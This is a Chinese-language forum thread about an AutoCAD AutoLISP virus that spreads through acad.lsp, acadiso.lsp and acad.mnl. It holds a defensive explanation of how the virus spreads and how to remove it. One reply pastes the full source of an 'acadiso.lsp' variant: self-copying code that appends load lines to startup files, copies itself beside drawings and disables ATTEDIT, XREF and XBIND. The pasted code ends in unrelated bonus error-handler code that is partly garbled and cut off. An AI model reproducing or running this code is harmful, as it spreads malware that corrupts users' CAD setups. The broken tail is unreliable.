[原创]LSP病 毒???

shinjikun

之所以没有被加密，是因为它的复制方法试文本格式的。

shinjikun

过去出现的两次病毒原理和这个完全一样。但所谓“安装”的说法并不确切。

CAD在启动的时候会自动载入acad.lsp文件，这个文件的位置是以下顺序确定的:
1.dwg文件目录
2.Cad支持文件搜索目录
3.PATH

如果CAD文件的同目录下发现acad.lsp文件，那么八成是病毒了。

acad.lsp病毒会：
1. 找到AcadSupportFileSearchPath
2. 检查自己是不是游离状态
如果是游离状态，说明是打开文件是启动的：
3. 检查此系统是不是第一次染病
4.如果是，复制自己到AcadSupportFileSearchPath，名为acadapp.lsp或acadiso.lsp
5.在acad.lsp后面加上(load "acadapp"或"acadiso")(princ)
6.有些变种在acad.mnl后面加上(load "acadapp"或"acadiso")(princ)
如果不是游离状态，说明是从AcadSupportFileSearchPath启动的：
3.将acadapp.lsp或acadiso.lsp复制到当前dwg文件的目录下
4.在acad.lsp后面加上(load "acadapp"或"acadiso")(princ)
5.有些变种在acad.mnl后面加上(load "acadapp"或"acadiso")(princ)

解决方法：
AcadSupportFileSearchPath一般为：
C:\Documents and Settings\你的用户名\Application Data\Autodesk\AutoCAD 2004\R16.0\chs\support\
删除AcadSupportFileSearchPath下acadapp.lsp,acadiso.lsp,acad.lsp的内容并将其置为只读。
删除acad.mnl后续几行。
删除所有跟随dwg文件的acad.lsp

lsw505

y用redefine explode 命令可以临时抗拒病毒对explode的undefine.

fszs

用诺顿可以杀掉这些lsp病毒的

quark

顶

JJL

现在病毒变换了文件名，变为acadiso.lsp具体内容如下：

(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad
     newacad nowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2
     )
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (setq path (findfile "base.dcl"))
  (setq path (substr path 1 (- (strlen path) 8)))
  (setq mnlpath (getvar "menuname"))
  (setq nowdwg (getvar "dwgname"))
  (setq wjqm (findfile nowdwg))
  (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
  (setq acadpath (findfile "acad.lsp"))
  (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
  (setq ns1 ""
 ns2 ""
 )
  (setq lspbj 0)
  (setq wjqm (strcat path "acad.lsp"))
  (if (setq wjm (open wjqm "r"))
    (progn (while (setq wz (read-line wjm))
      (setq ns1 ns2)
      (setq ns2 wz)
      )
    (if (> (strlen ns1) 14)
      (if (= (substr ns1 8 7) "acadiso")
        (setq lspbj 1)
        )
      )
    (close wjm)
    )
    )
  (if (and (= acadpath dwgpath) (/= acadpath path))
    (progn (setq oldacad (findfile "acad.lsp"))
    (setq newacad (strcat path "acadiso.lsp"))
    (if (= lspbj 0)
      (progn (setq wjqm (strcat path "acad.lsp"))
      (setq wjm (open wjqm "a"))
      (write-line
        (strcat "(load" (chr 34) "acadiso" (chr 34) ")")
                      wjm
        )
      (write-line "(princ)" wjm)
      (close wjm)
      )
      )
    (writeapp)
    )
    (progn (if (/= nowdwg "Drawing.dwg")
      (progn (setq oldacad (findfile "acadiso.lsp"))
      (setq newacad (strcat dwgpath "acad.lsp"))
      (writeapp)
      )
      )
    )
    )
  (command "undefine" "attedit")
  (command "undefine" "xref")
  (command "undefine" "xbind")
  (setvar "cmdecho" old_cmd)
  (princ)
  )
(defun writeapp ()
  (if (setq wjm1 (open newacad "w"))
    (progn (setq wjm (open oldacad "r"))
    (while (setq wz (read-line wjm)) (write-line wz wjm1))
    (close wjm)
    (close wjm1)
    )
    )
  )
(defun C:attedit (/ p cont old_cmd)
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (setq p (ssget))
  (if p
    (progn (setq cont (sslength p))
    (princ "\nSeltct objects:")
    (princ cont)
    (princ "found")
    (princ "\n")
    (princ cont)
    (princ " was not able to be attedit")
    )
    )
  (setvar "cmdecho" old_cmd)
  (princ)
  )
(defun C:xref (/ old_cmd)
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (command "insert")
  (setvar "cmdecho" old_cmd)
  (princ)
  )
(defun C:xbind (/ old_cmd)
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (command "insert")
  (setvar "cmdecho" old_cmd)
  (princ)
  )
(defun C:Burst (/ p old_cmd)
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (princ "\nBURST----将图块中的文字炸开后成为实体")
  (setq p (ssget))
  (setvar "cmdecho" old_cmd)
  (princ)
  )
(princ)
(DEFUN C:BB ()
(princ "select the point to be break")
(COMMAND "BREAK"pause "F" pause "@0,0") (PRINC))
(DEFUN C:BR ()
(princ "select the point to be break")
(COMMAND "BREAK"pause "F") (PRINC))
(defun C:CC (/ ss FL)
 (princ "\nSelect objects: ")
 (setq ss (ssget))
 (setq n (sslength ss))
 (command "COPY" ss "" "m" "") (repeat n (command "" copy "" ""))
)
(DEFUN C:DD () (COMMAND "DDATTE") (PRINC))
(DEFUN C:d () (COMMAND "DIST") (PRINC))
(DEFUN C:DT () (COMMAND "DTEXT") (PRINC))
;;;==========================================================================

;;;==========================================================================
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; --------------------- BONUS ERROR HANDLER ----------------------

(defun init_bonus_error ( lst / ss undo_init)
 
  ;;;;;;;local function;;;;;;;;;;;;;;;;;;;;
  (defun undo_init ( / undo_ctl)
   (b_set_sysvars (list "cmdecho" 0))
   (setq undo_ctl (getvar "undoctl"))
   (if (equal 0 (getvar "UNDOCTL")) ;Make sure undo is fully enabled.
       (command "_.undo" "_all")
   )
   (if (or (not (equal 1 (logand 1 (getvar "UNDOCTL")))) 
           (equal 2 (logand 2 (getvar "UNDOCTL")))
       );or
       (command "_.undo" "_control" "_all")
   )
   
   ;Ensure undo auto is off
   (if (equal 4 (logand 4 (getvar "undoctl")))
       (command "_.undo" "_Auto" "_off")
   )
  
   lace an end mark down if needed.
   (while (equal 8 (logand 8 (getvar "undoctl")))
        (command "_.undo" "_end")
   );while        
   (while (not (equal 8 (logand 8 (getvar "undoctl"))))
    (command "_.undo" "_begin")                
   );while
   (b_restore_sysvars)
   ;return original value of undoctl
   undo_ctl
  );defun undo_init

    ;;;;;;;;;;;;;begin the work of init_bonus error;;;;;;;;;;;;;
 (setq ss (ssgetfirst))
 (if (not bonus_alive)
     (setq bonus_alive 0)
 );if
 (setq bonus_alive (1+ bonus_alive))
 
 (if (and (> bonus_alive 1)                              ;do some double checking to make sure
          (or (not (equal 'LIST (type *error*)))         ;our error handler is still active.
              (not (equal "bonus_error" (cadr *error*))) ;for nested this call.
          );or
     );and
     (progn
      (princ "\nNested Error trapping is being used incorrectly.")
      (princ "\nResetting the nested index to 1.")
      (setq     *error* bonus_error
            bonus_alive 0
      );setq
      (restore_old_error);quietly restore undo status
      (setq bonus_alive 1)
     );progn then things need to be re-adjusted.
 );if
 (if (<= bonus_alive 0)  
     (progn
      (setq bonus_alive 0);undo settings will be restored
                          ;along with setting *error* back to bonus_old_error.
                          ;No call to b_restore_sysvars will be made.
                          ;If it is decided, this thing should do variable clean
                          ;up also then set bonus_alive to 1 before calling
                          ;restore_old_error
      (restore_old_error);quietly restore bonus_old_error and undo status.
      (setq bonus_alive 1)
     );progn then
 );if
 (if (= bonus_alive 1)
     (progn
      (if (and *error*
               (or (not (equal 'LIST (type *error*)))
                   (not (equal "bonus_error" (cadr *error*)))
               );or
          );and
          (setq bonus_old_error *error*);save the *error* only if it
                                        ;looks like the standard one or is some other
                                        ;user defined one. Don't want to save it if
                                        ;it's ours because we already have it.
      );if
      (if (cadr lst)
          (setq bonus_undoctl (undo_init))
          (setq bonus_undoctl nil)
      );if
    );progn then this is a top level call, or in other words, the first time through.
 );if
 (b_set_sysvars (car lst))
 (if (= bonus_alive 1)
     (progn
      (setq *error* bonus_error);setq
      (if (caddr lst)
          (setq *error* (append (reverse (cdr (reverse *error*)))
                                (list (caddr lst)

sg90z

我对ACAD.LSP作了修改，效果还可以，有人要吗？

飞诗(fsxm)

让你们开开眼吧！！

有谁能杀这个加密的病毒啊？？？

[SHADOW=500,blue,2]开开眼吧！！[/SHADOW]

dyc

你们说的这些太深奥了,小弟看不懂,一定要好好向你们学习.

xjlong547

长见识了，要小心一些。